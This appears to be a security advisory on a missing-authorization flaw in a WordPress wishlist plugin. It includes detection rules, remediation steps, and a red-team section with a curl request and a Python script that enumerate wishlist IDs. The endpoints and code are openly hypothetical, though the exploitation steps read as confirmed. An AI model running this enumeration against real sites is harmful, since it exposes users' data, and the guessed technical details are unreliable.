CVE-2025-67929

Executive Summary

CVE-2025-67929 is a Missing Authorization vulnerability in the TI WooCommerce Wishlist plugin for WordPress, developed by Templateinvaders. This flaw allows unauthenticated attackers to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access or manipulation of wishlist data. The vulnerability affects all versions up to and including 2.10.0. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The CVSS score of 5.3 (Medium) reflects the low complexity and network-based attack vector, but the impact is limited to confidentiality.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. WordPress plugins are distributed via the official WordPress Plugin Directory or third-party marketplaces. The lack of a patch and the nature of the flaw (missing authorization) indicate a potential supply chain risk for sites using this plugin. Administrators should verify the integrity of their plugin files and consider disabling the plugin until a patch is available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited information disclosure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for data leakage (e.g., wishlist contents, user preferences) make this a concern for WordPress site owners.

Deep Dive & Mechanics

The vulnerability stems from a Missing Authorization check (CWE-862) in the TI WooCommerce Wishlist plugin. The plugin likely exposes REST API endpoints or AJAX actions that handle wishlist operations (e.g., adding/removing items, viewing lists). Due to insufficient access control, unauthenticated users can invoke these endpoints without proper validation.

Root Cause: The plugin fails to verify that the current user has the necessary permissions (e.g., edit_posts, manage_options, or a custom capability) before processing requests. This allows any remote attacker to interact with wishlist data.

Attack Vector: An attacker sends crafted HTTP requests to the vulnerable endpoint(s). For example, a GET request to /wp-json/ti-woocommerce-wishlist/v1/wishlist might return wishlist data without authentication.

Impact: An attacker could enumerate wishlists, view private wishlist items, or potentially modify wishlist contents (depending on the specific missing check). This could lead to information disclosure (e.g., user preferences, product interests) and, in some cases, unauthorized actions.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common missing authorization patterns.

Vulnerable Code (PHP):

add_action('wp_ajax_nopriv_ti_wishlist_get', 'ti_wishlist_get_callback');
add_action('wp_ajax_ti_wishlist_get', 'ti_wishlist_get_callback');

function ti_wishlist_get_callback() {
    // Missing authorization check
    $wishlist_id = $_GET['wishlist_id'];
    $wishlist = get_wishlist_by_id($wishlist_id);
    wp_send_json($wishlist);
}

Patched Code (Hypothetical):

add_action('wp_ajax_nopriv_ti_wishlist_get', 'ti_wishlist_get_callback');
add_action('wp_ajax_ti_wishlist_get', 'ti_wishlist_get_callback');

function ti_wishlist_get_callback() {
    // Added authorization check
    if (!current_user_can('read') || !wp_verify_nonce($_GET['_wpnonce'], 'ti_wishlist_nonce')) {
        wp_die('Unauthorized', 403);
    }
    $wishlist_id = intval($_GET['wishlist_id']);
    $wishlist = get_wishlist_by_id($wishlist_id);
    if ($wishlist['user_id'] !== get_current_user_id()) {
        wp_die('Forbidden', 403);
    }
    wp_send_json($wishlist);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with TI WooCommerce Wishlist <= 2.10.0 installed and activated.
• No authentication required.

Exploitation Steps:

1. Identify the vulnerable endpoint. Common patterns include:
   • /wp-json/ti-woocommerce-wishlist/v1/wishlist
   • /wp-admin/admin-ajax.php?action=ti_wishlist_get
2. Send a crafted request to enumerate wishlists:

   curl -X GET "http://target.com/wp-json/ti-woocommerce-wishlist/v1/wishlist?wishlist_id=1" -H "User-Agent: Mozilla/5.0"
   

3. If successful, the response will contain wishlist data (e.g., product IDs, user IDs).

Automation Script (Python):

import requests

target = "http://target.com"
endpoint = "/wp-json/ti-woocommerce-wishlist/v1/wishlist"
for wishlist_id in range(1, 100):
    r = requests.get(f"{target}{endpoint}?wishlist_id={wishlist_id}")
    if r.status_code == 200 and "data" in r.json():
        print(f"Found wishlist {wishlist_id}: {r.json()}")

Blue Team

Detection:

• Monitor for unusual GET/POST requests to /wp-json/ti-woocommerce-wishlist/v1/ or admin-ajax.php with action=ti_wishlist_* parameters.
• Look for requests without a valid nonce or authentication token.

Honeypot:

• Deploy a fake wishlist endpoint that logs all requests and alerts on unauthorized access.

Lab Setup:

1. Install WordPress and the vulnerable plugin.
2. Create a test user with a wishlist.
3. Use the Red Team steps to verify the vulnerability.
4. Monitor logs for detection.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-json/ti-woocommerce-wishlist/v1/wishlist without authentication.
  • Repeated requests with sequential wishlist_id parameters.
• File IOCs:
  • Modified plugin files (e.g., ti-woocommerce-wishlist.php) if an attacker uploads a backdoor.
• Log IOCs:
  • Access logs showing 200 responses to unauthenticated wishlist API calls.
  • Error logs with wp_die or 403 responses if a patch is applied.

Detection Engineering

YARA Rule

rule CVE_2025_67929_TI_Wishlist_Missing_Auth {
    meta:
        description = "Detects missing authorization in TI WooCommerce Wishlist plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-67929"
    strings:
        $func1 = "ti_wishlist_get_callback" ascii wide nocase
        $func2 = "wp_ajax_nopriv_ti_wishlist" ascii wide nocase
        $func3 = "current_user_can" ascii wide nocase
    condition:
        ($func1 or $func2) and not $func3
}

Sigma Rule

title: CVE-2025-67929 - TI WooCommerce Wishlist Missing Authorization
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated access to TI WooCommerce Wishlist API endpoints
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '/wp-json/ti-woocommerce-wishlist/v1/'
            - 'action=ti_wishlist_'
    condition: selection
falsepositives:
    - Legitimate authenticated users (if nonce is present)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-67929 - TI WooCommerce Wishlist Missing Authorization Attempt";
    flow:to_server,established;
    content:"/wp-json/ti-woocommerce-wishlist/v1/"; http_uri;
    content:"wishlist_id"; http_uri;
    pcre:"/wishlist_id=\d+/";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Implement a Web Application Firewall (WAF) rule to block requests to /wp-json/ti-woocommerce-wishlist/v1/ without a valid nonce.
3. Monitor logs for suspicious activity targeting wishlist endpoints.

Long-Term Fix:

• Apply the vendor's patch once available.
• If no patch is forthcoming, consider replacing the plugin with an alternative (e.g., YITH WooCommerce Wishlist).
• Conduct a code review to add proper authorization checks (e.g., current_user_can(), nonce verification).

Workaround (Code-Level): Add a custom function to your theme's functions.php to block unauthenticated requests:

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX) {
        $action = $_REQUEST['action'] ?? '';
        if (strpos($action, 'ti_wishlist') === 0 && !is_user_logged_in()) {
            wp_die('Unauthorized', 403);
        }
    }
});

Valters IT
Securing Digital Frontiers